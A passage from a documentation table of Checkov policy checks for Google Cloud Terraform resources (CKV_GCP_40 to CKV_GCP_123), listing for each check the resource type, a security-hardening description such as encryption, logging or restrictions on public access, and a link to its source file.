google_compute_instance_from_template | Ensure that Compute instances do not have public IP addresses | Terraform | [GoogleComputeExternalIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeExternalIP.py) | | 6443 | CKV_GCP_40 | resource | google_compute_instance_template | Ensure that Compute instances do not have public IP addresses | Terraform | [GoogleComputeExternalIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeExternalIP.py) | | 6444 | CKV_GCP_41 | resource | google_project_iam_binding | Ensure that IAM users are not assigned the Service Account User or Service Account Token Creator roles at project level | Terraform | [GoogleRoleServiceAccountUser.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleRoleServiceAccountUser.py) | | 6445 | CKV_GCP_41 | resource | google_project_iam_member | Ensure that IAM users are not assigned the Service Account User or Service Account Token Creator roles at project level | Terraform | [GoogleRoleServiceAccountUser.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleRoleServiceAccountUser.py) | | 6446 | CKV_GCP_42 | resource | google_project_iam_member | Ensure that Service Account has no Admin privileges | Terraform | [GoogleProjectAdminServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectAdminServiceAccount.py) | | 6447 | CKV_GCP_43 | resource | google_kms_crypto_key | Ensure KMS encryption keys are rotated within a period of 90 days | Terraform | [GoogleKMSRotationPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSRotationPeriod.py) | | 6448 | CKV_GCP_44 | resource | google_folder_iam_binding | Ensure no roles that enable to impersonate and manage all service accounts are used at a folder level | Terraform | [GoogleFolderImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderImpersonationRole.py) | | 6449 | CKV_GCP_44 | resource | google_folder_iam_member | Ensure no roles that enable to impersonate and manage all service accounts are used at a folder level | Terraform | [GoogleFolderImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderImpersonationRole.py) | | 6450 | CKV_GCP_45 | resource | google_organization_iam_binding | Ensure no roles that enable to impersonate and manage all service accounts are used at an organization level | Terraform | [GoogleOrgImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgImpersonationRole.py) | | 6451 | CKV_GCP_45 | resource | google_organization_iam_member | Ensure no roles that enable to impersonate and manage all service accounts are used at an organization level | Terraform | [GoogleOrgImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgImpersonationRole.py) | | 6452 | CKV_GCP_46 | resource | google_project_iam_binding | Ensure Default Service account is not used at a project level | Terraform | [GoogleProjectMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectMemberDefaultServiceAccount.py) | | 6453 | CKV_GCP_46 | resource | google_project_iam_member | Ensure Default Service account is not used at a project level | Terraform | [GoogleProjectMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectMemberDefaultServiceAccount.py) | | 6454 | CKV_GCP_47 | resource | google_organization_iam_binding | Ensure default service account is not used at an organization level | Terraform | [GoogleOrgMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgMemberDefaultServiceAccount.py) | | 6455 | CKV_GCP_47 | resource | google_organization_iam_member | Ensure default service account is not used at an organization level | Terraform | [GoogleOrgMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgMemberDefaultServiceAccount.py) | | 6456 | CKV_GCP_48 | resource | google_folder_iam_binding | Ensure Default Service account is not used at a folder level | Terraform | [GoogleFolderMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderMemberDefaultServiceAccount.py) | | 6457 | CKV_GCP_48 | resource | google_folder_iam_member | Ensure Default Service account is not used at a folder level | Terraform | [GoogleFolderMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderMemberDefaultServiceAccount.py) | | 6458 | CKV_GCP_49 | resource | google_project_iam_binding | Ensure roles do not impersonate or manage Service Accounts used at project level | Terraform | [GoogleProjectImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectImpersonationRole.py) | | 6459 | CKV_GCP_49 | resource | google_project_iam_member | Ensure roles do not impersonate or manage Service Accounts used at project level | Terraform | [GoogleProjectImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectImpersonationRole.py) | | 6460 | CKV_GCP_50 | resource | google_sql_database_instance | Ensure MySQL database 'local_infile' flag is set to 'off' | Terraform | [GoogleCloudMySqlLocalInfileOff.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudMySqlLocalInfileOff.py) | | 6461 | CKV_GCP_51 | resource | google_sql_database_instance | Ensure PostgreSQL database 'log_checkpoints' flag is set to 'on' | Terraform | [GoogleCloudPostgreSqlLogCheckpoints.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogCheckpoints.py) | | 6462 | CKV_GCP_52 | resource | google_sql_database_instance | Ensure PostgreSQL database 'log_connections' flag is set to 'on' | Terraform | [GoogleCloudPostgreSqlLogConnection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogConnection.py) | | 6463 | CKV_GCP_53 | resource | google_sql_database_instance | Ensure PostgreSQL database 'log_disconnections' flag is set to 'on' | Terraform | [GoogleCloudPostgreSqlLogDisconnection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogDisconnection.py) | | 6464 | CKV_GCP_54 | resource | google_sql_database_instance | Ensure PostgreSQL database 'log_lock_waits' flag is set to 'on' | Terraform | [GoogleCloudPostgreSqlLogLockWaits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogLockWaits.py) | | 6465 | CKV_GCP_55 | resource | google_sql_database_instance | Ensure PostgreSQL database 'log_min_messages' flag is set to a valid value | Terraform | [GoogleCloudPostgreSqlLogMinMessage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinMessage.py) | | 6466 | CKV_GCP_56 | resource | google_sql_database_instance | Ensure PostgreSQL database 'log_temp_files flag is set to '0' | Terraform | [GoogleCloudPostgreSqlLogTemp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogTemp.py) | | 6467 | CKV_GCP_57 | resource | google_sql_database_instance | Ensure PostgreSQL database 'log_min_duration_statement' flag is set to '-1' | Terraform | [GoogleCloudPostgreSqlLogMinDuration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinDuration.py) | | 6468 | CKV_GCP_58 | resource | google_sql_database_instance | Ensure SQL database 'cross db ownership chaining' flag is set to 'off' | Terraform | [GoogleCloudSqlServerCrossDBOwnershipChaining.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerCrossDBOwnershipChaining.py) | | 6469 | CKV_GCP_59 | resource | google_sql_database_instance | Ensure SQL database 'contained database authentication' flag is set to 'off' | Terraform | [GoogleCloudSqlServerContainedDBAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerContainedDBAuthentication.py) | | 6470 | CKV_GCP_60 | resource | google_sql_database_instance | Ensure Cloud SQL database does not have public IP | Terraform | [GoogleCloudSqlServerNoPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerNoPublicIP.py) | | 6471 | CKV_GCP_61 | resource | google_container_cluster | Enable VPC Flow Logs and Intranode Visibility | Terraform | [GKEEnableVPCFlowLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnableVPCFlowLogs.py) | | 6472 | CKV_GCP_62 | resource | google_storage_bucket | Bucket should log access | Terraform | [CloudStorageLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudStorageLogging.py) | | 6473 | CKV_GCP_63 | resource | google_storage_bucket | Bucket should not log to itself | Terraform | [CloudStorageSelfLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudStorageSelfLogging.py) | | 6474 | CKV_GCP_64 | resource | google_container_cluster | Ensure clusters are created with Private Nodes | Terraform | [GKEPrivateNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPrivateNodes.py) | | 6475 | CKV_GCP_65 | resource | google_container_cluster | Manage Kubernetes RBAC users with Google Groups for GKE | Terraform | [GKEKubernetesRBACGoogleGroups.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEKubernetesRBACGoogleGroups.py) | | 6476 | CKV_GCP_66 | resource | google_container_cluster | Ensure use of Binary Authorization | Terraform | [GKEBinaryAuthorization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEBinaryAuthorization.py) | | 6477 | CKV_GCP_68 | resource | google_container_cluster | Ensure Secure Boot for Shielded GKE Nodes is Enabled | Terraform | [GKESecureBootforShieldedNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKESecureBootforShieldedNodes.py) | | 6478 | CKV_GCP_68 | resource | google_container_node_pool | Ensure Secure Boot for Shielded GKE Nodes is Enabled | Terraform | [GKESecureBootforShieldedNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKESecureBootforShieldedNodes.py) | | 6479 | CKV_GCP_69 | resource | google_container_cluster | Ensure the GKE Metadata Server is Enabled | Terraform | [GKEMetadataServerIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMetadataServerIsEnabled.py) | | 6480 | CKV_GCP_69 | resource | google_container_node_pool | Ensure the GKE Metadata Server is Enabled | Terraform | [GKEMetadataServerIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMetadataServerIsEnabled.py) | | 6481 | CKV_GCP_70 | resource | google_container_cluster | Ensure the GKE Release Channel is set | Terraform | [GKEReleaseChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEReleaseChannel.py) | | 6482 | CKV_GCP_71 | resource | google_container_cluster | Ensure Shielded GKE Nodes are Enabled | Terraform | [GKEEnableShieldedNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnableShieldedNodes.py) | | 6483 | CKV_GCP_72 | resource | google_container_cluster | Ensure Integrity Monitoring for Shielded GKE Nodes is Enabled | Terraform | [GKEEnsureIntegrityMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnsureIntegrityMonitoring.py) | | 6484 | CKV_GCP_72 | resource | google_container_node_pool | Ensure Integrity Monitoring for Shielded GKE Nodes is Enabled | Terraform | [GKEEnsureIntegrityMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnsureIntegrityMonitoring.py) | | 6485 | CKV_GCP_73 | resource | google_compute_security_policy | Ensure Cloud Armor prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Terraform | [CloudArmorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudArmorWAFACLCVE202144228.py) | | 6486 | CKV_GCP_74 | resource | google_compute_subnetwork | Ensure that private_ip_google_access is enabled for Subnet | Terraform | [GoogleSubnetworkPrivateGoogleEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleSubnetworkPrivateGoogleEnabled.py) | | 6487 | CKV_GCP_75 | resource | google_compute_firewall | Ensure Google compute firewall ingress does not allow unrestricted FTP access | Terraform | [GoogleComputeFirewallUnrestrictedIngress21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress21.py) | | 6488 | CKV_GCP_76 | resource | google_compute_subnetwork | Ensure that Private google access is enabled for IPV6 | Terraform | [GoogleSubnetworkIPV6PrivateGoogleEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleSubnetworkIPV6PrivateGoogleEnabled.py) | | 6489 | CKV_GCP_77 | resource | google_compute_firewall | Ensure Google compute firewall ingress does not allow on ftp port | Terraform | [GoogleComputeFirewallUnrestrictedIngress20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress20.py) | | 6490 | CKV_GCP_78 | resource | google_storage_bucket | Ensure Cloud storage has versioning enabled | Terraform | [CloudStorageVersioningEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudStorageVersioningEnabled.py) | | 6491 | CKV_GCP_79 | resource | google_sql_database_instance | Ensure SQL database is using latest Major version | Terraform | [CloudSqlMajorVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudSqlMajorVersion.py) | | 6492 | CKV_GCP_80 | resource | google_bigquery_table | Ensure Big Query Tables are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [BigQueryTableEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryTableEncryptedWithCMK.py) | | 6493 | CKV_GCP_81 | resource | google_bigquery_dataset | Ensure Big Query Datasets are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [BigQueryDatasetEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryDatasetEncryptedWithCMK.py) | | 6494 | CKV_GCP_82 | resource | google_kms_crypto_key | Ensure KMS keys are protected from deletion | Terraform | [GoogleKMSPreventDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSPreventDestroy.py) | | 6495 | CKV_GCP_83 | resource | google_pubsub_topic | Ensure PubSub Topics are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [CloudPubSubEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudPubSubEncryptedWithCMK.py) | | 6496 | CKV_GCP_84 | resource | google_artifact_registry_repository | Ensure Artifact Registry Repositories are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [ArtifactRegsitryEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/ArtifactRegsitryEncryptedWithCMK.py) | | 6497 | CKV_GCP_85 | resource | google_bigtable_instance | Ensure Big Table Instances are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [BigTableInstanceEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigTableInstanceEncryptedWithCMK.py) | | 6498 | CKV_GCP_86 | resource | google_cloudbuild_worker_pool | Ensure Cloud build workers are private | Terraform | [CloudBuildWorkersArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudBuildWorkersArePrivate.py) | | 6499 | CKV_GCP_87 | resource | google_data_fusion_instance | Ensure Data fusion instances are private | Terraform | [DataFusionPrivateInstance.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataFusionPrivateInstance.py) | | 6500 | CKV_GCP_88 | resource | google_compute_firewall | Ensure Google compute firewall ingress does not allow unrestricted mysql access | Terraform | [GoogleComputeFirewallUnrestrictedIngress3306.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress3306.py) | | 6501 | CKV_GCP_89 | resource | google_notebooks_instance | Ensure Vertex AI instances are private | Terraform | [VertexAIPrivateInstance.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAIPrivateInstance.py) | | 6502 | CKV_GCP_90 | resource | google_dataflow_job | Ensure data flow jobs are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [DataflowJobEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataflowJobEncryptedWithCMK.py) | | 6503 | CKV_GCP_91 | resource | google_dataproc_cluster | Ensure Dataproc cluster is encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [DataprocClusterEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocClusterEncryptedWithCMK.py) | | 6504 | CKV_GCP_92 | resource | google_vertex_ai_dataset | Ensure Vertex AI datasets uses a CMK (Customer Managed Key) | Terraform | [VertexAIDatasetEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAIDatasetEncryptedWithCMK.py) | | 6505 | CKV_GCP_93 | resource | google_spanner_database | Ensure Spanner Database is encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [SpannerDatabaseEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/SpannerDatabaseEncryptedWithCMK.py) | | 6506 | CKV_GCP_94 | resource | google_dataflow_job | Ensure Dataflow jobs are private | Terraform | [DataflowPrivateJob.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataflowPrivateJob.py) | | 6507 | CKV_GCP_95 | resource | google_redis_instance | Ensure Memorystore for Redis has AUTH enabled | Terraform | [MemorystoreForRedisAuthEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/MemorystoreForRedisAuthEnabled.py) | | 6508 | CKV_GCP_96 | resource | google_vertex_ai_metadata_store | Ensure Vertex AI Metadata Store uses a CMK (Customer Managed Key) | Terraform | [VertexAIMetadataStoreEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAIMetadataStoreEncryptedWithCMK.py) | | 6509 | CKV_GCP_97 | resource | google_redis_instance | Ensure Memorystore for Redis uses intransit encryption | Terraform | [MemorystoreForRedisInTransitEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/MemorystoreForRedisInTransitEncryption.py) | | 6510 | CKV_GCP_98 | resource | google_dataproc_cluster_iam_binding | Ensure that Dataproc clusters are not anonymously or publicly accessible | Terraform | [DataprocPrivateCluster.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocPrivateCluster.py) | | 6511 | CKV_GCP_98 | resource | google_dataproc_cluster_iam_member | Ensure that Dataproc clusters are not anonymously or publicly accessible | Terraform | [DataprocPrivateCluster.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocPrivateCluster.py) | | 6512 | CKV_GCP_99 | resource | google_pubsub_topic_iam_binding | Ensure that Pub/Sub Topics are not anonymously or publicly accessible | Terraform | [PubSubPrivateTopic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/PubSubPrivateTopic.py) | | 6513 | CKV_GCP_99 | resource | google_pubsub_topic_iam_member | Ensure that Pub/Sub Topics are not anonymously or publicly accessible | Terraform | [PubSubPrivateTopic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/PubSubPrivateTopic.py) | | 6514 | CKV_GCP_100 | resource | google_bigquery_table_iam_binding | Ensure that BigQuery Tables are not anonymously or publicly accessible | Terraform | [BigQueryPrivateTable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryPrivateTable.py) | | 6515 | CKV_GCP_100 | resource | google_bigquery_table_iam_member | Ensure that BigQuery Tables are not anonymously or publicly accessible | Terraform | [BigQueryPrivateTable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryPrivateTable.py) | | 6516 | CKV_GCP_101 | resource | google_artifact_registry_repository_iam_binding | Ensure that Artifact Registry repositories are not anonymously or publicly accessible | Terraform | [ArtifactRegistryPrivateRepo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/ArtifactRegistryPrivateRepo.py) | | 6517 | CKV_GCP_101 | resource | google_artifact_registry_repository_iam_member | Ensure that Artifact Registry repositories are not anonymously or publicly accessible | Terraform | [ArtifactRegistryPrivateRepo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/ArtifactRegistryPrivateRepo.py) | | 6518 | CKV_GCP_102 | resource | google_cloud_run_service_iam_binding | Ensure that GCP Cloud Run services are not anonymously or publicly accessible | Terraform | [GCPCloudRunPrivateService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GCPCloudRunPrivateService.py) | | 6519 | CKV_GCP_102 | resource | google_cloud_run_service_iam_member | Ensure that GCP Cloud Run services are not anonymously or publicly accessible | Terraform | [GCPCloudRunPrivateService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GCPCloudRunPrivateService.py) | | 6520 | CKV_GCP_103 | resource | google_dataproc_cluster | Ensure Dataproc Clusters do not have public IPs | Terraform | [DataprocPublicIpCluster.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocPublicIpCluster.py) | | 6521 | CKV_GCP_104 | resource | google_data_fusion_instance | Ensure Datafusion has stack driver logging enabled | Terraform | [DataFusionStackdriverLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataFusionStackdriverLogs.py) | | 6522 | CKV_GCP_105 | resource | google_data_fusion_instance | Ensure Datafusion has stack driver monitoring enabled | Terraform | [DataFusionStackdriverMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataFusionStackdriverMonitoring.py) | | 6523 | CKV_GCP_106 | resource | google_compute_firewall | Ensure Google compute firewall ingress does not allow unrestricted http port 80 access | Terraform | [GoogleComputeFirewallUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress80.py) | | 6524 | CKV_GCP_107 | resource | google_cloudfunctions2_function_iam_binding | Cloud functions should not be public | Terraform | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py) | | 6525 | CKV_GCP_107 | resource | google_cloudfunctions2_function_iam_member | Cloud functions should not be public | Terraform | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py) | | 6526 | CKV_GCP_107 | resource | google_cloudfunctions_function_iam_binding | Cloud functions should not be public | Terraform | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py) | | 6527 | CKV_GCP_107 | resource | google_cloudfunctions_function_iam_member | Cloud functions should not be public | Terraform | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py) | | 6528 | CKV_GCP_108 | resource | google_sql_database_instance | Ensure hostnames are logged for GCP PostgreSQL databases | Terraform | [GoogleCloudPostgreSqlLogHostname.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogHostname.py) | | 6529 | CKV_GCP_109 | resource | google_sql_database_instance | Ensure the GCP PostgreSQL database log levels are set to ERROR or lower | Terraform | [GoogleCloudPostgreSqlLogMinErrorStatement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinErrorStatement.py) | | 6530 | CKV_GCP_110 | resource | google_sql_database_instance | Ensure pgAudit is enabled for your GCP PostgreSQL database | Terraform | [GoogleCloudPostgreSqlEnablePgaudit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlEnablePgaudit.py) | | 6531 | CKV_GCP_111 | resource | google_sql_database_instance | Ensure GCP PostgreSQL logs SQL statements | Terraform | [GoogleCloudPostgreSqlLogStatement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogStatement.py) | | 6532 | CKV_GCP_112 | resource | google_kms_crypto_key_iam_binding | Ensure KMS policy should not allow public access | Terraform | [GoogleKMSKeyIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSKeyIsPublic.py) | | 6533 | CKV_GCP_112 | resource | google_kms_crypto_key_iam_member | Ensure KMS policy should not allow public access | Terraform | [GoogleKMSKeyIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSKeyIsPublic.py) | | 6534 | CKV_GCP_112 | resource | google_kms_crypto_key_iam_policy | Ensure KMS policy should not allow public access | Terraform | [GoogleKMSKeyIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSKeyIsPublic.py) | | 6535 | CKV_GCP_113 | data | google_iam_policy | Ensure IAM policy should not define public access | Terraform | [GooglePolicyIsPrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/gcp/GooglePolicyIsPrivate.py) | | 6536 | CKV_GCP_114 | resource | google_storage_bucket | Ensure public access prevention is enforced on Cloud Storage bucket | Terraform | [GoogleStoragePublicAccessPrevention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStoragePublicAccessPrevention.py) | | 6537 | CKV_GCP_115 | resource | google_organization_iam_binding | Ensure basic roles are not used at organization level. | Terraform | [GoogleOrgBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgBasicRole.py) | | 6538 | CKV_GCP_115 | resource | google_organization_iam_member | Ensure basic roles are not used at organization level. | Terraform | [GoogleOrgBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgBasicRole.py) | | 6539 | CKV_GCP_116 | resource | google_folder_iam_binding | Ensure basic roles are not used at folder level. | Terraform | [GoogleFolderBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderBasicRole.py) | | 6540 | CKV_GCP_116 | resource | google_folder_iam_member | Ensure basic roles are not used at folder level. | Terraform | [GoogleFolderBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderBasicRole.py) | | 6541 | CKV_GCP_117 | resource | google_project_iam_binding | Ensure basic roles are not used at project level. | Terraform | [GoogleProjectBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectBasicRole.py) | | 6542 | CKV_GCP_117 | resource | google_project_iam_member | Ensure basic roles are not used at project level. | Terraform | [GoogleProjectBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectBasicRole.py) | | 6543 | CKV_GCP_118 | resource | google_iam_workload_identity_pool_provider | Ensure IAM workload identity pool provider is restricted | Terraform | [GoogleIAMWorkloadIdentityConditional.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleIAMWorkloadIdentityConditional.py) | | 6544 | CKV_GCP_119 | resource | google_spanner_database | Ensure Spanner Database has deletion protection enabled | Terraform | [SpannerDatabaseDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/SpannerDatabaseDeletionProtection.py) | | 6545 | CKV_GCP_120 | resource | google_spanner_database | Ensure Spanner Database has drop protection enabled | Terraform | [SpannerDatabaseDropProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/SpannerDatabaseDropProtection.py) | | 6546 | CKV_GCP_121 | resource | google_bigquery_table | Ensure BigQuery tables have deletion protection enabled | Terraform | [BigQueryTableDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryTableDeletionProtection.py) | | 6547 | CKV_GCP_122 | resource | google_bigtable_instance | Ensure Big Table Instances have deletion protection enabled | Terraform | [BigTableInstanceDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigTableInstanceDeletionProtection.py) | | 6548 | CKV_GCP_123 | resource | google_container_cluster | GKE Don't Use NodePools in the 